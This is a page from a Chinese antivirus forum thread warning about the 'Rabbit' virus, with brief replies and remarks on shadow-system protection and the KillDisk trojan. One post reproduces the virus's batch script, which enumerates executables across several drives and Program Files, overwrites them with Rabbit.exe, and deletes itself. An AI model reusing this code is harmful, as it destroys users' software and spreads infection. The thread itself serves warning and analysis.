瑞星卡卡安全论坛技术交流区反病毒/反流氓软件论坛 警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

«345678910   7  /  10  页   跳转

警惕恶性病毒“兔宝宝”【4月8日原版、4月10日出现新变种】

呵呵
gototop
 

谢谢
gototop
 

卡饭中招了?我今天一天都登陆不上。。
gototop
 

怎么老是有人在做病毒,不过也好,让大家对安全都有点意识
gototop
 

这贴子在别的地方出现了,没注明转贴,很是替猫版不平(不会是猫版自己转的吧)
gototop
 

加壳方式?
gototop
 

这个病毒现在的广为分析和讨论,为以后其他制毒者提供了更好的思路。

如果将熊猫到现在的流行的几个病毒的特点和兔兔合在一起。估计就差不多横扫网络了。

所有的用户,都没一个好下去场。

当然了,只有加了影子系统的,只上网玩的,才能幸免。

其他的要保存工作数据的,无法上影子系统的用户,就都得完蛋。


现在想,以后的主动防御,将成最主要的系统配置了。

但是还得不断推出新的主动防御软件。

现在的SSM已广为人知,它的主体文件大家都知道的清清楚楚。

我觉得SSM这类软件,在监控时,应该还是有漏洞的。

不知以后的病毒会怎样。

gototop
 

引用:
【天月来了的贴子】这个病毒现在的广为分析和讨论,为以后其他制毒者提供了更好的思路。

如果将熊猫到现在的流行的几个病毒的特点和兔兔合在一起。估计就差不多横扫网络了。

所有的用户,都没一个好下去场。

当然了,只有加了影子系统的,只上网玩的,才能幸免。

其他的要保存工作数据的,无法上影子系统的用户,就都得完蛋。


现在想,以后的主动防御,将成最主要的系统配置了。

但是还得不断推出新的主动防御软件。

现在的SSM已广为人知,它的主体文件大家都知道的清清楚楚。

我觉得SSM这类软件,在监控时,应该还是有漏洞的。

不知以后的病毒会怎样。


………………

没人敢说“影子”不会被病毒突破。事实上,木马KillDisk即可突破影子。
做光盘系统备份,经常备份非系统分区的重要数据到光盘上————是比较保险的办法之一。
gototop
 

C:\WINDOWS\system32\LOVETZ.bat

C:\WINDOWS\system32\TZ.bat

FOR  /f "delims=" %%i in (c:\windows\msconfig.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
FOR  /f "delims=" %%i in (c:\windows\msconfig1.inf) do copy /y "C:\WINDOWS\system32\Rabbit.exe" "%%i"
del %0
FOR  %%a in ( d: e: f: h: g: ) do dir /s/b %%a\*.exe>>c:\windows\msconfig.inf
cd C:\Program Files
dir *.exe /s /b >>c:\windows\msconfig1.inf


http://hi.baidu.com/killvir/blog/item/4823a61e06bcb91e4034177d.html


update 2007.04.10
gototop
 

木马KillDisk能突破影子,够狠的!!!!!

估计这玩意也是写入分区里某些东西,才能突破的吧。

如果它的机理也被利用,岂不是天下无敌了?


看来微软得开发,在系统状态下无法向分区和系统文件中注入任何玩意的新操作系统了。

最好的是微软牵头迫使所有的软件都是无需安装和注册的才行。

这样开发出的不可以写入任何信息或数据的系统,才能长寿点。
gototop
 
«345678910   7  /  10  页   跳转
页面顶部
Powered by Discuz!NT